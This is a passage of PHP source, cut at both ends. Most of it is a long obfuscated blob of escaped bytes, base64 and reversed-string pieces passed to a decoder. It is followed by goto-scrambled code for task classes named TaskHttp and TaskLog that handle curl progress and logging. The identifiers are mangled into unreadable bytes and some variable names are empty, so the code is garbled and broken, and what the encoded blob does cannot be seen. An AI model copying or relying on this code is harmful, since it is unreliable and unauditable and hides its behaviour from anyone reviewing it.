')."\142\320\227\233\154\50\127\321\237\123\200\24\240\363\26\120\226\74\33\365\76\274\365\62\66\202\5\322\210\354\261\155\323\54\361\257\365\231\146\226\21\144\304\10\362\235\201\113"."\x59\x96\x5b\xc\x49\x86\xd9\x9e\x32\x89\x93\x32\x40\xdd\xe8\x82\x60\x44\x65\x98\x45\x63\x12\x36\x52\x40\x30\x16\x8b\xc6\x60\x40\x6c\x73\x80\x1d\xbe\x69\x62\x2c\x18\x67\xe4\x1c\x93\x4d\x83\xd".base64_decode('l983CbBYRxwGfN5/es/QpJpu7yRfLwrUTpxLoxDr8Tmi46F8qchLY/64xppT29jj')."\xef\xf1\xd7\xcc\x69\xec\xe\x78\x47\x35\xef\x68\x9d\xf7\x54\x6f\xef\xa4\x1e\x5f\xed\x24\x0\xf4\xae\x6c\xf0\x4c\x59\x8d\x33\xa0\x8c\x73\x4e\xee\x45\x3f\x4d\x3d\x73\x26\xf4\x78\x4f\xf9\xf1\xb2"."\271\335\75\275\325\215\223\116\352\361\235\334\63\324\73\261\166\16\373\116\262\124\54\352\171\106\261\120\123\123\223\152\120\223\20\337\314\263\344\311\336\46\145\140\11\243\106\101".base64_decode('QFdOW83gaA71flGi29szqXeOVE4Cub+FKCnaaDM8X8B7Gu4ZL4rXPeBHKZ8U2xJe')."\27\175\132\22\350\0\242\221\174\11\41\226\215\13\144\234\307\265\225\23\350\357\152\66\221\375\372\60\337\277\322\106\21\260\263\224\67\126\60\171\123\136\137\1\1\323\146\370"."\xdd\xa7\xdb\x43\x3a\x43\xf\x4\x77\xc4\x11\x72\x30\xba\x8f\x92\xa4\x58\x56\xda\x33\xc8\xc9\x59\xda\x6e\x19\x67\x57\x50\x31\x2b\x3d\xc4\x63\x68\x1b\x81\x79\x1a\x7\xb9\xad\xa4\x56\xd0\xe3\x52"."\xf\x55\x35\x11\x68\xe\x7\x55\x46\x61\x80\x12\xb3\x38\xa1\x8a\xcd\x5c\x36\x8b\xba\x26\x28\x2a\xa3\xf\x49\x71\x56\x23\xc7\x52\x58\xf9\xd6\x8a\xac\x42\x8\x83\xa2\x17\x8b\x66\xb1\x91\x88\xa9"."\255\122\1\163\336\350\10\156\243\261\125\320\6\256\64\315\126\350\220\103\71\125\236\200\202\306\30\102\54\126\321\305\242\307\24\12\332\124\20\63\144\41\176\231\261\261\376\232".base64_decode('np5St57q7UaIr3nTvSsnr65lxzl/D/qPRQIVBKYqp4YqYsR8uB1cZuaI8GQaNYuc')."\27\56\70\116\113\266\151\153\131\107\25\11\14\141\244\211\361\121\40\75\242\263\35\26\24\13\363\154\222\244\231\220\323\10\227\326\160\106\110\22\165\342\22\161\335\366\361\34"."\36\51\121\105\161\207\324\277\251\212\21\373\74\132\116\55\322\126\107\145\170\361\21\313\326\163\16\361\264\245\153\305\144\246\255\224\315\332\374\314\226\65\6\340\13\260\126\100"."\x5a\xee\x85\xdd\x60\x52\xa5\xa2\x6d\x66\x91\x89\x3e\x26\x42\x33\xaa\x26\x56\xca\x18\xca\xe7\xcd\x54\x9f\x8c\x6a\x62\x93\x9d\x17\x40\xec\x4c\x42\xa9\x61\x92\x5d\x25\x14\x51\x9a\xa3\xd1\x70\x30".strrev('9-piU|!A:%'."\0".'b~Q').strrev('@,%N%-w.>U,~}Pcp~X'."\r".'J߂i')."\303\241\126\57\353\370\22\157\10\316\372\74\140\100\151\263\100\31\133\324\114\164\246\36\140\310\206\50\266\315\262\202\254\26\142\370\310\343\301\262\112\17\146\205\74\150\220\75"."\xf8\xa0\xee\x11\xa7\x48\x8f\x10\xfd\x7a\x6\xd\x7d\x88\x4\xf8\xb1\xcf\x3\xa7\x41\xf\x62\xce\xd1\xe0\x60\xfe\x1b\x82\xa1\x56\x8f\x61\xb5\x92\x3\x2c\xf9\x0\x49\x62\xd\xb2\x33\x58\x22\x97".strrev('(sф#|`"" h~ 4+B&ŬwQҊ;mo?')."\xce\x9e\x7b\xc7\x23\xb\x5f\x3c\xee\x7b\x3b\x7a\xff\x9e\x9b\xf0\xf4\xa5\x7b\xff\x76\x6f\xbc\x7d\x55\x7a\xe8\xe9\xa6\x8e\xcd\xc9\xb9\x97\xc6\x3f\xf1\xfe\xe5\x8\xf3\xc8\xbe\x7\xea\xb6\x7d\x91"."\xda\xb4\xeb\xc\xe3\xf6\x1f\x29\x9f\xed\xfd\x7d\xe3\x93\x9f\x5d\xf7\xea\x41\xef\xbe\x32\xf1\x30\xeb\xac\xc8\xf\x82\xb7\xee\xf7\xc4\x7d\x27\x9e\x15\xcc\x24\x5e\xcf\xbd\xfb\xf6\xee\xf4\x3d\xa5"."\115\323\117\273\146\160\311\153\317\75\274\171\321\373\243\43\315\217\36\377\247\330\335\255\33\276\175\363\223\137\54\361\235\271\243\360\373\167\217\332\275\370\7\307\135\134\132\74".strrev('K/ щֽikb:.\'χN+W')."\367\137\71\371\105\343\133\306\61\365\201\227\66\106\56\374\345\322\223\177\365\213\236\210\371\112\146\342\333\77\364\34\263\360\350\143\357\317\175\362\301\1\27\257\177\305\373\247".base64_decode('kwaXLdmb12b+9KzjZxwWeHvNxvae+/N3vv5+f5c5fdL2U3/y19TVO6+9/MLa/Y7y')."\305\67\357\163\365\353\147\256\135\366\321\175\57\37\377\162\103\173\223\177\321\145\336\253\376\325\176\346\371\253\6\103\53\276\75\243\365\363\321\133\273\136\70\142\171\157\307\266"."\245\7\234\366\323\366\124\356\323\321\334\216\356\137\276\364\320\266\55\317\55\73\244\147\361\57\166\76\161\335\213\311\372\33\26\337\367\344\312\225\333\322\337\235\274\337\360\304".base64_decode('m78zbZ9XD7xpxv3bD7/j4KHDFhy088w67a+ff7Vh3O17fl84uv6C4Pjb3+i547OH')."\x66\x6c\xbc\xfa\xb7\x57\x3f\xfb\xe0\x7\x33\xdf\xd9\xee\x37\x7e\x72\xe2\x55\x1f\xcf\x6b\xce\x6f\xf8\xde\xea\x3b\xaf\x7b\xee\x86\xf5\x5d\xeb\x26\xdd\x79\xc4\xf7\xce\x7f\x71\xc7\x97\xab\xfe\xfd".base64_decode('ly3aMZed/9TH1mH/2PP3x8/b9+KJM1u2Hdk3+OE7/d9f88/HX/jlr3p3/Hj0i8tv').base64_decode('faNpzYpP//npysVbf9W45otnP954es+qr1566vKtvv988NRA8c0/n/Dx2XM+N673').base64_decode('fOV5e3rTI//rkvNqa85Tnn3opw37bFx+kvL8X8213pvvWHz3RYdNuvyMwwP3P3TX')."\306\63\352\17\275\347\231\36\273\175\352\147\157\154\333\172\317\337\227\237\173\336\352\203\342\377\336\366\227\47\214\5\267\335\334\351\251\61\326\36\132\173\311\370\342\345\357\276"."\377\324\233\67\136\174\365\131\57\354\377\307\343\346\74\263\175\346\375\205\355\205\65\247\373\317\333\360\347\211\107\137\276\341\255\143\366\14\335\367\316\151\333\122\127\126\277\335".base64_decode('fNOXG7Yeoe9TfDm1dfGvZmyvfeJ3W1vvu2Dnsj97Pr9oq33RrMk7zw+3vXjyi8f0').base64_decode('f/mHrWdumt+88ICdkbXvXbjgO5evf3Wj55dJ85Gh8LZHP667wXh42bcO+PGF+187')."\x7b\x81\xff\xbf\xaf\xa9\x79\xe5\x90\xb3\x7f\x96\xdb\xfe\xde\xf4\x6b\x3e\x7f\x60\xd5\x86\x7f\xff\xfb\xd1\x73\xfe\x71\xd6\x7\x29\xdf\xcd\x17\xac\x7e\xfc\x85\x6b\xea\x7f\xd9\xf8\xb7\xb3\x8f\x6a"."\x78\xfa\xad\x7b\xd3\xcf\x5d\x7f\xec\x2e\xed\xc1\xc1\xc4\xfb\xe6\xe5\xd\x85\xd1\xc1\x4d\x7\x5e\x3b\xbf\xff\xb4\x97\x33\xb9\xeb\x37\x1f\x73\xed\x57\xc3\x9b\x5f\xca\x76\x35\x7e\xfa\xa3\xdb\x6e"."\372\367\217\232\126\135\361\354\214\277\375\336\376\323\353\167\174\152\157\135\264\265\352\212\37\154\335\365\247\367\66\357\176\172\113\360\341\343\277\272\166\333\303\207\175\154\335\262"."\274\367\222\325\363\327\305\227\356\74\341\311\353\326\135\173\344\113\263\77\133\265\373\260\27\117\130\370\142\165\172\347\242\277\125\17\55\211\151\337\77\160\347\223\333\207\367\213".strrev('߳Ȏ=w\\ |C譴N,+=wMi')."\257\352\306\347\372\166\314\174\47\164\310\354\3\253\76\371\147\340\356\3\337\370\115\102\357\370\355\211\331\273\137\77\112\71\360\107\163\266\155\250\372\244\156\113\317\357\16\70"."\375\324\357\234\165\124\46\232\273\377\107\277\313\114\137\332\175\345\22\255\45\171\304\341\55\236\365\173\167\37\65\173\351\143\351\147\315\245\227\75\177\340\274\217\57\273\40\373"."\203\143\337\37\67\157\355\207\67\276\160\132\303\266\273\367\334\376\327\340\222\374\267\172\76\365\374\352\213\175\176\22\177\145\317\243\267\235\163\305\317\367\216\277\107\33\154\70"."\xe9\xac\x29\xdf\x3b\xe4\xd1\x3\x33\x7b\x5e\xfb\xf1\x65\x3b\x7e\xf8\xfa\xf8\xf3\x6f\xba\xef\xc9\xce\xa7\xd5\xff\x7a\xff\x90\xfb\xc6\x5\x7e\x3c\xce\x13\x48\x3e\x7d\xe1\xdf\x6e\xdf\x6f\xc9\xb9"."\xe7\x5f\x70\xf1\xba\x6d\x8a\xe6\xfb\xe3\xb2\xaa\xdc\xab\xb7\x4f\x6d\x58\xfc\xe5\x53\x5d\xc9\xc7\x6f\x49\xe7\x1f\xae\x1f\xb9\xf7\xca\x99\xef\x3c\xf7\xfc\xc2\x23\xef\xfd\xf0\xd7\xbf\x7e\xe2\x2f"."\13\237\351\76\350\300\225\237\56\133\371\360\237\116\270\51\64\356\235\155\213\126\277\373\366\157\256\174\374\374\27\37\270\147\371\154\173\372\346\267\257\74\143\140\355\353\315\53"."\6\156\75\315\277\371\151\377\217\116\274\240\261\164\370\175\217\154\114\144\137\173\61\374\217\145\125\327\317\157\276\361\207\236\247\236\333\235\134\160\334\357\176\73\355\304\313\254"."\332\107\367\354\176\150\322\53\175\233\157\121\336\270\350\341\326\373\137\375\316\346\326\133\177\376\374\72\345\350\307\153\256\333\264\340\277\127\116\352\353\351\232\271\153\351\300\374"."\xef\xd5\x76\x7f\xf7\xea\xae\x6f\x5f\xfc\x8a\xf7\xbf\xd7\xc4\x6f\xb\xbf\xb8\xee\xa9\xb7\xfe\xf3\xc0\xf0\x67\x2f\x3c\xfe\xfe\x23\xf\xfc\xf3\xa3\xc5\x6f\x9d\xb8\xc6\xfa\xea\x8d\x37\xae\x5b\xf3".base64_decode('0du7q5/1ffX51vdPXzX41btP3elTm1b/+Iv3zd+8cf+aR1Z9+tFH92x8Zs3HX34c')."\235\363\310\277\366\274\277\370\77\137\374\153\215\272\346\327\223\266\325\74\367\376\75\337\276\345\260\63\117\115\356\270\62\372\233\252\341\376\177\77\63\363\232\177\74\363\345\316".strrev('hv CuaӨ9>CX^m6@PI'."\n".'ǀᤌ.A1-d')."\x6a\x23\x46\x1a\xda\x51\x3f\x1d\x3e\x3f\x63\x6\x6b\xf8\xa9\x10\x98\x76\x2a\xe0\x4e\xc6\xce\xa5\xf4\x1\x8d\xe1\x19\xf4\xcb\xec\x1b\xb2\x6c\xa6\x95\x39\x94\x4f\xe\x18\x23\xd0\xf8\xe1\xa1\xe2"."\xa8\x99\x65\xf4\xa0\x1\xaa\xb3\xd2\xd9\xd4\xb0\xc1\x4\x8b\xd6\xe0\x50\x8a\xc9\xf6\xb3\x5a\x72\xd8\x62\x18\xdb\x97\x49\x2d\x37\xd3\xa3\x6c\x10\xa1\xf0\xc\x18\xde\x7e\x2d\x33\xd2\x37\x0\xdf".base64_decode('6esfzWjszuJUNkEz6qazwFSG0DAD9VMYdWJ9rZ/Bpg2GYSpfBTMYqZgyjeEk/eWq')."\250\315\132\162\200\11\132\145\175\116\156\206\225\367\345\264\74\127\243\151\207\36\46\145\325\175\71\303\200\256\63\245\157\246\126\56\364\64\100\177\24\340\106\116\27\202\142\52"."\232\147\45\305\101\30\113\35\44\115\17\34\215\313\265\44\363\266\224\214\142\216\324\270\155\26\271\156\11\325\132\363\341\26\372\344\256\56\315\61\345\333\12\267\172\40\2\265".base64_decode('rCGzCEM2YKaSiD6lHLWm+hx1cig7ubtT0mPAUT0ODWwGcwxWH5k0VY742HD3SRNK')."\245\327\266\146\15\370\144\260\127\116\65\362\250\25\331\254\317\151\105\252\222\377\140\14\250\245\242\205\365\225\363\342\106\330\32\220\6\36\233\177\166\165\252\211\100\174\201\244".strrev('E.;?CeYwlowd0CyGACB:͇')."\321\135\17\154\330\275\345\272\267\257\134\267\353\201\365\273\36\70\143\357\71\367\276\277\375\302\335\33\267\356\75\173\307\356\153\66\355\276\371\234\135\17\357\330\373\253\163\336".base64_decode('2nTBrgc277nmvN3r7tv18GW7z/357nM27vnZ+l07rkH595wrakbZdm++Apfdftbu')."\x7\x1e\xd8\x7b\xc3\x26\x9e\xfa\xfe\xf6\x33\x81\x90\x1\xfd\x9c\xa7\xdb\xd8\xaa\x93\xe9\x6b\x91\xd1\x51\x66\x2b\x80\x90\xba\xe5\x53\x3a\xb3\x3a\x1a\x61\x85\xa8\xad\x60\xe5\x2e\x3b\xa3\x17\x15"."\x9b\x28\x79\x69\xe8\x5f\xde\xcc\x7b\x29\xc2\x51\x8b\x59\x4b\x31\xf2\x38\x59\x61\x73\xe3\xe3\x48\x99\xd0\x73\x5\x8c\x5a\x30\x4a\x7e\x6a\x55\xe7\x50\xeb\x97\xf0\xaf\xd2\x30\xd3\x84\xa\x68\x85"."\xc7\x5a\xcc\x55\xd\xe\xc2\x7d\x17\x16\xa4\x29\x69\xd\x1\x52\x8d\x4a\x1a\x15\x53\x98\x71\x8c\x62\x9b\x2c\x9c\x1b\xe1\x93\xee\x5a\x4\x15\xa7\x95\x37\x83\x4d\x6d\x3f\x97\x67\xb\x31\x2b\x34"."\114\62\322\240\167\32\145\50\105\126\225\223\44\70\326\233\223\230\310\111\316\221\0\71\50\271\216\367\50\264\51\36\205\134\302\52\116\23\122\174\275\316\256\254\345\65\46\67"."\277\250\27\262\322\165\114\141\244\342\40\312\255\221\157\200\135\135\213\127\30\106\336\71\107\42\132\327\45\273\102\106\171\264\145\271\253\141\266\144\21\241\23\327\206\344\202\134"."\x74\x83\x46\x85\xbc\x17\x7d\x88\xd3\xc9\xa2\x9e\x32\x98\x52\xb2\x9e\x23\x39\x99\x45\x7\x91\x32\x73\x6d\xe8\x24\x5a\x2\x45\xc7\x65\xd1\xac\x39\x85\x4c\x1\x1b\xe0\xdb\x33\xe7\x80\xa1\x2f\x5c".base64_decode('vqnSdyEsbIpkaNZ9AcUXTGuzZAaPszV6vV5JkCq0vHAIqhMXswgWxKt5LHgrV1dA')."\313\274\277\137\267\354\106\142\236\247\114\122\120\103\147\370\352\121\200\54\210\251\276\351\50\110\106\11\26\161\17\214\134\311\142\66\63\23\174\123\200\75\265\146\202\256\305\114".base64_decode('QkuapOYDXJQq5bMMioIoS6yUxzPc6Oyznk9JhWZqSVuqVU3DoPrEeGiTRLqeOgkm')."\106\32\245\41\310\300\312\166\70\347\35\365\337\313\121\1\115\57\142\27\122\26\121\142\205\35\7\252\264\44\313\345\230\300\42\134\234\14\327\327\24\265\345\51\57\40\226\44"."\317\265\127\255\254\306\56\366\54\154\14\222\327\71\376\225\54\131\235\137\27\313\31\353\175\253\150\147\147\173\40\302\134\65\145\100\326\160\250\131\155\15\305\104\71\265\120\162"."\xeb\x32\xca\x8e\x23\x2\x9d\x21\x35\x1e\x8f\x4a\x9a\x8d\xc4\x6c\x72\x89\xba\x20\xda\xaa\xb6\x44\xa3\xb\x42\x80\x94\x30\xd\x8d\x12\xdd\xc4\x66\x76\xe2\x82\x17\xc7\x84\xb9\x1d\xbe\x13\x91\xd5"."\xbb\x64\xc6\x4\x5b\xf6\xe3\xcd\x37\xae\x80\x16\x27\xc2\xfe\x96\xf6\x40\x8c\xeb\xce\x4f\xf5\xd5\xf9\xea\x45\x5e\xf4\x41\x15\x9b\x10\x34\x31\x2b\xe2\x78\x22\x10\xab\xe0\xdf\x81\xfa\x7d\x80\x29".base64_decode('Al8PUKA9ulhpiYa7OiJx6taAwiNRKZ1oSEMy8/5QngzVBzvDgZagEookoswEgiup')."\x12\xe3\x97\x38\x8f\xb3\x21\x28\x5a\x3a\xf7\xee\x0\xe5\x69\x44\x36\xd0\x91\x6b\xe4\x35\x1\x52\x77\x7b\xaa\x7b\xaa\x7a\x26\xf6\xd4\xf4\xd4\x2e\xf3\xf5\x58\xbd\x7e\x69\x27\x33\xe4\xe9\x81\x48"."\x67\x2b\x74\xaf\x91\x87\x52\x16\x2c\xe7\x8e\x78\x7c\x21\x98\xee\x45\x63\x81\x96\x30\x6b\x4a\x73\x20\xe\xc1\x68\x4b\x88\x6\xde\xba\xe4\xae\x5d\xf\x6d\x78\xeb\xea\x2d\xbb\xcf\x5b\x8f\x2a\xda".base64_decode('c9VZey6/DzEumFnZcuFbj2zYc8nWPRcCk6Hs3Xr/rh2/euuSTbu3XLHnsgffumot')."\115\170\373\266\273\166\237\277\211\67\114\171\373\147\217\354\331\160\13\147\140\50\337\342\101\245\337\136\267\376\255\35\133\60\373\162\323\31\173\266\135\260\347\232\365\273\317\277".strrev('T[赴<$=:_cc_4H=/[guޛa')."\x5f\xa6\x18\x4e\x94\x85\x17\x76\x5\x23\x2d\x41\xb7\x85\x92\x1c\x5\xd7\x18\x13\x29\x86\x50\x65\x13\xe0\x35\x2d\x70\xad\xc1\xe2\xc4\xc2\xbe\xa9\x7a\xcc\x56\xac\x82\xf9\x97\x1a\x25\x35\xa6\x35".strrev(''."\n".'Xyr_4GGk 5(\\/X!)'."\n".'#U)'."\0".'e#s28'."\0".'').strrev('O!g SiI㎰07Cٟo)+:|AI').base64_decode('2WMWCnndVEGoDrOIHROxIyHJLH16Av3pgV+2nbkbQQkVfLKWI1VLxsimilyFRgA6')."\164\161\116\47\245\260\26\211\306\136\161\45\57\156\265\62\232\14\357\147\124\172\155\11\273\176\163\76\3\42\136\127\21\173\247\363\265\11\176\21\154\211\305\140\331\216\367\115"."\x12\x66\x42\xeb\xf7\x50\x8e\xc\x53\x35\x11\x6b\x1e\x91\xc3\xb2\x7a\x27\xe9\x5\x4a\x64\xb2\xb4\x14\x9f\xef\xd9\x52\x6\xf6\x64\x59\xca\x43\x1e\xd7\xa2\xa4\xce\xfd\x40\x87\xb4\xd2\x38\xfd\x94".base64_decode('S/dnzT4tG6OaZw6bjCI6TfGn6h3ZKMivFQriykreMtFfhy0cpHUl2lVi0a3Sm+24')."\xc0\x39\xe9\xb2\x8b\x2\xe1\xe2\xab\x94\xf\xd1\x4b\x0\x7\xb4\x28\x9d\xf3\x64\x6f\x9a\xf4\x8a\x4f\x58\x5f\x41\x76\xd4\xce\x4e\x7a\xa7\x7\x3\x26\x57\xc9\xee\x59\xb9\x44\xba\x4d\x7a\xed\xdb"."\x5f\x7e\x2f\x8b\x75\xea\x80\xa2\xc8\xef\xc6\xc3\xc5\xb8\x4f\x3e\x88\x41\x6\x65\x96\x22\x50\xc3\xb1\x90\x31\x2a\x21\x6e\x98\x3e\x5f\x46\x28\x85\xcc\xb8\x7f\xd\x54\x7a\x3c\x6\x9e\x49\xab\xf4"."\26\14\305\174\362\323\252\247\371\241\6\307\305\346\56\173\245\20\112\31\356\27\314\312\137\143\143\57\257\261\245\3\317\256\125\170\113\155\314\247\330\74\302\320\356\353\236\230"."\21\346\140\316\307\201\161\77\70\153\300\317\15\145\107\17\367\251\203\17\253\253\100\314\75\310\11\263\134\74\53\156\256\35\17\305\111\275\6\322\126\376\330\234\64\14\122\277"."\x4b\xc5\xac\x87\x5c\xe2\x7b\x98\x57\xb7\x8a\xef\xd5\x39\x1e\xbc\x71\x4f\x68\x85\x17\xef\xbe\xb1\x42\x50\xf8\x25\x87\xae\x94\x93\xea\x35\xce\xea\x2b\xb2\x5b\x51\x77\x36\xc3\x81\xbb\x6a\x51\x17"."\326\42\324\153\146\331\6\261\64\227\152\230\74\365\124\131\270\41\246\120\334\17\62\147\334\364\7\270\25\201\24\212\23\15\25\346\252\123\136\375\44\321\251\203\135\376\36\242"."\153\7\370\237\55\30\161\172\240\131\45\315\350\362\167\145\313\106\200\340\251\244\63\44\155\210\56\5\21\23\153\160\130\142\325\321\55\120\74\211\350\374\26\145\37\52\364\103"."\xda\xf7\xc4\x62\xa1\x4f\xda\x99\x59\x7c\xc6\xce\x61\xd1\xb9\x5d\xd4\x9c\x7\xca\x4a\xe7\x26\x32\x12\xec\x90\x66\x90\xc7\xac\x75\x77\xdb\xc9\xc0\x80\x34\x45\x24\x4b\x7\x2b\xb9\x46\xdb\x74\x8b"."\x82\x70\x71\xbc\x2f\x12\x49\x64\x34\x9f\x85\x6d\x1b\x9b\x16\x8b\xd5\x26\x51\xa2\xff\xc1\x4\xb2\x33\x12\x3d\x4e\x9\xf5\xa0\xa\x3d\xf7\xcf\x65\xa4\xa5\xc2\x93\x85\x92\xb6\xc5\xd7\xb4\x9b\x72".base64_decode('d/w86NVsr4SQkvhQt6NkgoFEiGOrs6+u6lExUUevRxkrUzmLJ71sKJxPScwdLs3s')."\15\307\70\365\23\163\67\47\233\44\277\273\106\254\306\204\257\5\262\134\35\113\127\362\206\53\33\136\221\212\344\65\121\136\265\364\212\235\220\12\21\61\22\364\10\26\64\321".base64_decode('RyDNDMzjlnqapN/lFFXhoZZeKDXlsJgCTPajzMco+rrjqInira4HawmJcr9iy4aI').base64_decode('0AVB8iSDT8e5hr/r5TjnWO7H/BC3J/sJRlH3Y6hAG4kiPf2atLuKjVSEIqWciEjy')."\135\162\244\342\211\16\273\130\354\121\311\105\6\230\265\255\345\172\344\223\172\160\245\141\306\371\377\137\277\143\367\377\352\371\272\251\165\114\22\357\170\3\167\36\360\337\214\345".strrev('KlJ͖e9UamsY`t)SD')."\225\42\156\353\61\367\113\243\335\354\25\156\362\210\150\157\245\214\202\14\361\203\121\5\74\246\40\306\17\347\313\357\216\361\174\205\235\76\226\45\216\243\54\233\370\52\142\114".base64_decode('mIMyPwsl8RmQeA2A8ZLNPKMFdlqsBTLfO5eRI2JNDlRJpkQOUBn9SjhmwQGUBxhm')."\xd\x5b\xc9\x3a\xdf\x6c\x87\x12\x1d\xae\x97\x12\x69\x26\x4b\x1e\x4d\xa7\xa5\xaa\xa4\xe0\x57\xae\x56\x50\x5e\x13\xa7\x2\x72\x11\xac\xa2\xed\x14\x67\xf1\xb7\xaf\xeb\xdc\x8f\x61\xd7\x7b\xcb\x3f"."\106\55\44\260\104\45\206\145\30\114\52\105\256\167\310\65\153\205\62\24\153\343\42\317\30\353\246\362\352\345\257\125\12\21\35\16\311\375\145\124\240\263\150\22\116\317\11\345"."\162\35\111\117\126\172\276\171\202\257\154\257\141\224\317\61\374\350\20\47\356\17\15\223\70\135\147\105\273\72\152\210\261\17\140\57\72\127\264\231\2\17\244\207\222\361\372\22"."\x8e\x11\xb1\x1b\x2b\x22\x4a\x94\xb7\x73\x66\x7f\x27\xa9\xaf\x3\xc8\x21\xf0\xb3\xe4\xf7\x2d\x9c\x25\xb1\x41\x82\x73\x5d\xcd\xae\x94\x2d\x69\x16\x2d\x29\x1b\x87\x57\xca\x8b\x31\x4c\x16\x68\xc8"."\151\370\51\133\333\61\27\302\177\276\333\157\76\71\346\323\223\273\343\0\17\127\274\62\110\272\1\105\134\170\312\371\20\7\111\44\140\346\103\23\152\220\356\360\234\127\250\334"."\133\170\31\325\54\31\141\51\231\224\142\256\331\320\57\266\121\14\11\317\13\44\231\336\116\4\244\367\222\335\245\234\117\153\113\27\256\111\202\171\301\362\73\65\161\325\47\361"."\x1c\xac\x18\x3e\x22\x89\xed\xc0\x5\xaf\xf4\x52\x74\x5a\x1b\x14\xc\x93\x60\xd2\x53\x29\xfe\x48\xbb\x23\x6b\x4a\x77\x3b\x99\x41\x10\xf1\x9e\x3b\x66\xb8\x24\xf3\x5c\xa1\x4d\xaf\xf\xb9\x1f\xcc"."\xf5\xc9\x26\xbd\x8e\x8c\xe5\x50\x61\xbe\x2b\x95\x17\xb7\x2b\xa2\x9b\x18\x56\xa9\xfb\x64\xa1\x39\x8b\xcb\xe6\xc1\x1c\xa9\x4\x88\x3e\xa5\xc0\xb5\xb3\xa4\x3\x11\xb6\xa\x11\x6a\x5b\xb4\x2b\xfc".base64_decode('3C8+6TRG5tn4nKE8xAbH64C6jnhYxMK4B1eSJT9267xHlQUREgro2bBUnXzHOmaB').base64_decode('eOWPCKx0DrFkxS0S2LZnOgZfIpG8Y5AzJic6muOeWnI6EehLgTki36VpAWcSza+7').base64_decode('Wi8XcPeMlrCGDDuZkY5M5Ynl8GLZoMKHKrfX3So2pu6DpKikrD2SokbCrFCGtqhi')."\61\232\204\113\12\326\325\121\166\214\41\300\145\151\22\56\133\226\314\12\113\162\27\251\234\255\225\254\61\272\127\76\170\40\214\110\125\350\260\353\310\116\263\216\65\236\25\63"."\227\177\16\60\316\235\233\110\57\52\267\102\10\35\134\27\346\225\132\121\61\363\230\255\20\271\135\273\100\45\132\313\122\306\64\54\32\123\211\104\50\126\224\223\171\221\126\101".base64_decode('zYN+Em/hsuemCsmyzkhlrZJYRcpgOdU9XHB53MDxJzBfgIzoUJk1BoQGHFNmn+Ag')."\377\245\374\100\336\344\133\112\112\50\53\142\105\353\100\321\75\316\145\265\71\321\70\137\222\174\251\126\324\255\367\140\21\100\371\141\73\253\261\33\3\311\50\201\236\216\114\304"."\326\353\116\207\255\262\3\47\232\316\76\222\225\144\212\56\161\236\20\110\70\324\21\52\10\274\10\10\330\76\41\131\247\365\111\14\215\300\11\207\275\10\145\43\340\102\202\336"."\145\266\340\73\163\176\213\105\234\215\322\155\227\46\307\315\242\355\301\151\11\263\100\176\233\115\333\26\167\373\124\2\100\170\105\274\167\172\44\325\25\24\22\127\126\270\121\344"."\56\204\240\55\241\76\44\10\267\252\370\150\35\327\151\52\241\131\216\10\276\143\341\21\171\153\204\333\325\266\222\353\376\127\0\320\71\266\317\34\146\256\34\261\331\271\150\217"."\xb8\x85\x21\x43\x26\xd8\x17\x40\x3f\x59\xf9\x86\x18\xf4\x5b\x7e\x9a\xe2\x87\x27\x0\xbc\x1a\xe6\x23\xe1\xf5\x2f\xdf\xf2\x42\xbf\xa3\x38\x7d\x43\x89\xeb\xa8\x7e\x5d\xd\x20\x7d\x15\x55\x50\xff"."\337\104\54\6\206\75\361\104\274\54\251\63\20\217\57\216\306\132\251\273\360\262\144\122\112\122\146\52\113\352\154\217\106\306\112\13\166\4\102\341\262\64\254\367\24\121\205\317"."\55\232\24\352\44\255\44\227\207\143\265\42\324\262\100\264\204\134\123\13\241\176\41\143\62\131\75\273\364\210\153\131\166\240\227\254\124\365\234\160\266\46\312\344\215\344\200\220"."\x3\x6a\x12\x6f\x6f\x31\xaf\x88\x3c\xe0\x7c\x7b\xc7\xa5\x5e\xc8\x90\x14\x2a\xc2\x3a\x4b\x11\xa8\x3b\x56\x0\x28\x76\x9f\xce\xd7\x3a\xe7\xb3\xc5\xbd\xbb\xcf\x71\x3f\x2f\xc1\xc9\x7a\x20\x4\x46".base64_decode('wjl5HyaAiRUHSBYIl19QkFQxALhh801QeFtu9kkXEPSUAzajMKSSXhoNO5Jtrb/i')."\x35\x35\x15\xfc\xe1\x15\x2f\x44\x72\xff\x1b\x56\xef\xa1\xdd\xfb\xab\x0\x0".strrev(''), 10, -8))); goto C֯; E򴇸: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[̧]; $ =& $this->task; $[$[1738]] = 1; Hook::bind($[1706], array($this, $[1739])); Hook::bind($[1708], array($this, $[1740])); Hook::bind($[1710], array($this, $[1741])); } protected function endAfter() { $ =& $_SERVER[̧]; Hook::unbind($[1706], array($this, $[1739])); Hook::unbind($[1708], array($this, $[1740])); Hook::unbind($[1710], array($this, $[1741])); } public function progressStart($֞ƥ) { $̜ =& $_SERVER[̧]; $ফ = curl_getinfo($֞ƥ); self::log($̜[1742] . $ফ[$̜[336]]); self::valueSet($this->task[$̜[437]], $this->task); } public function progressEnd($) { $ =& $_SERVER[̧]; self::log($[1743] . $this->task[$[437]]); $this->end(); } public function progress($, $, $첥, $, $ޤ) { $Ȁ =& $_SERVER[̧]; $ͳ =& $this->task; if ($ޤ > 0) { $ͳ[$Ȁ[806]] = $ͳ[$Ȁ[806]] == 0 ? $ : $ͳ[$Ȁ[806]]; $ͳ[$Ȁ[1662]] = $ޤ; } else { if ($첥 > 0) { $ͳ[$Ȁ[806]] = $ͳ[$Ȁ[806]] == 0 ? $ : $ͳ[$Ȁ[806]]; $ͳ[$Ȁ[1662]] = $첥; } } $this->update(); self::log("\160\x72\157\147\162\145\x73\x73\110\164\x74\x70\72\x64\x6f\x77\156\x3a{$첥}\57{$}\73\40\165\x70\x6c\157\141\x64\72{$ޤ}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ы = '', $Ҝ҉ = 0, $⿋ = '') { $ۻ =& $_SERVER[̧]; $٨ = new Task($, $ы, $Ҝ҉, $⿋); $GLOBALS[$ۻ[1744] . $] = new TaskLog($ۻ[1645], $٨, $⿋); return $٨; } public function __construct($٢ = '', $ӫ欩 = '', $ = '') { $ߵȚ =& $_SERVER[̧]; if (!$٢) { $٢ = $ߵȚ[1645]; } $ţ = $٢ . $ߵȚ[415] . rand_string(10); if (!$) { $ = $٢ . $ߵȚ[53] . $; } switch ($٢) { case $ߵȚ[1645]: if (!$ӫ欩 || !$ӫ欩->task) { return echoLog($٢ . $ߵȚ[1745]); } $ر = $ӫ欩; $ţ = $ر->task[$ߵȚ[437]]; $٢ = $ر->task[$ߵȚ[437]]; if (!$ر->task[$ߵȚ[1559]]) { $ر->task[$ߵȚ[1559]] = $ ? 